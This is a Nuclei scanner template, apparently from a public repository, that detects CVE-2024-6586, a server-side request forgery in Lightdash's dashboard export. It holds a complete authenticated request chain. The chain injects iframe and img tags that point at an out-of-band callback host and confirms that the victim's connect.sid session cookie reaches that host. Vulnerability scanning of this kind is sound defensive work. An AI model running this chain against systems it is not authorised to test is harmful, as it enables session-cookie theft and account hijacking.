100 lines
3.3 KiB
YAML
100 lines
3.3 KiB
YAML
id: CVE-2024-6586
|
||
|
||
info:
|
||
name: Lightdash v0.1024.6 - Server-Side Request Forgery
|
||
author: iamnoooob,rootxharsh,pdresearch
|
||
severity: high
|
||
description: |
|
||
Server-Side Request Forgery (“SSRF”) in the export dashboard functionality of Lightdash version 0.1024.6 allows remote authenticated threat actors to obtain the session cookie of any user who exports a crafted dashboard. When they are exported, dashboards containing HTML elements can trigger HTTP requests to an external domain that contain the exporting user’s session cookie. The cookie could be stolen by a threat actor and used to hijack application user sessions.
|
||
reference:
|
||
- https://github.com/google/security-research/security/advisories/GHSA-4h7x-6vxh-7hjf
|
||
- https://nvd.nist.gov/vuln/detail/CVE-2024-6586
|
||
classification:
|
||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
|
||
cvss-score: 7.3
|
||
cve-id: CVE-2024-6586
|
||
cwe-id: CWE-201
|
||
cpe: cpe:2.3:a:lightdash:lightdash:*:*:*:*:*:*:*:*
|
||
metadata:
|
||
max-request: 5
|
||
verified: true
|
||
shodan-query: title:"Lightdash"
|
||
vendor: lightdash
|
||
product: lightdash
|
||
tags: cve,cve2024,lightdash,ssrf,oast,authenticated
|
||
|
||
flow: http(1) && http(2) && http(3) && http(4) && http(5)
|
||
|
||
variables:
|
||
username: "{{username}}"
|
||
password: "{{password}}"
|
||
|
||
http:
|
||
- raw:
|
||
- |
|
||
POST /api/v1/login HTTP/1.1
|
||
Host: {{Hostname}}
|
||
Content-Type: application/json
|
||
|
||
{"email":"{{username}}","password":"{{password}}"}
|
||
|
||
- raw:
|
||
- |
|
||
GET /api/v1/org/projects HTTP/1.1
|
||
Host: {{Hostname}}
|
||
|
||
extractors:
|
||
- type: json
|
||
name: projectuuid
|
||
part: body
|
||
json:
|
||
- '.results[0].projectUuid'
|
||
internal: true
|
||
|
||
- raw:
|
||
- |
|
||
POST /api/v1/projects/{{projectuuid}}/dashboards HTTP/1.1
|
||
Host: {{Hostname}}
|
||
Content-Type: application/json
|
||
|
||
{"name":"Test","description":"Test","tiles":[]}
|
||
|
||
extractors:
|
||
- type: json
|
||
name: dashuuid
|
||
part: body
|
||
json:
|
||
- '.results.uuid'
|
||
internal: true
|
||
|
||
- raw:
|
||
- |
|
||
PATCH /api/v1/dashboards/{{dashuuid}} HTTP/1.1
|
||
Host: {{Hostname}}
|
||
Content-Type: application/json
|
||
|
||
{"tiles":[{"uuid":"00000000-0000-0000-0000-000000000000","x":0,"y":0,"h":9,"w":15,"type":"markdown","properties":{"title":"title","hideTitle":false,"content":"<iframe src=\"http://{{interactsh-url}}\">frame</iframe>\n\n<img src=\"http://{{interactsh-url}}\">img</img>\n"}}],"filters":{"dimensions":[],"metrics":[],"tableCalculations":[]},"name":"my dashboard"}
|
||
|
||
matchers:
|
||
- type: word
|
||
part: body
|
||
words:
|
||
- '"status":"ok"'
|
||
internal: true
|
||
|
||
- raw:
|
||
- |
|
||
POST /api/v1/dashboards/{{dashuuid}}/export HTTP/1.1
|
||
Host: {{Hostname}}
|
||
Content-Type: application/json
|
||
|
||
{"queryFilters":"","gridWidth":1400}
|
||
|
||
matchers:
|
||
- type: dsl
|
||
dsl:
|
||
- 'contains(interactsh_protocol, "http")'
|
||
- 'contains(interactsh_request, "connect.sid=")'
|
||
- 'contains(body, "status\":\"ok")'
|
||
condition: and
|
||
# digest: 490a0046304402203501a2e9b61fc6407a2b8af2d9608911e8d62299b4d0110fcb68aaee141b214c02204ebebd65520e307896a190c2dc05563006d67f1b70150846e7c3809d944e886c:922c64590222798bb761d5b6d8e72950 |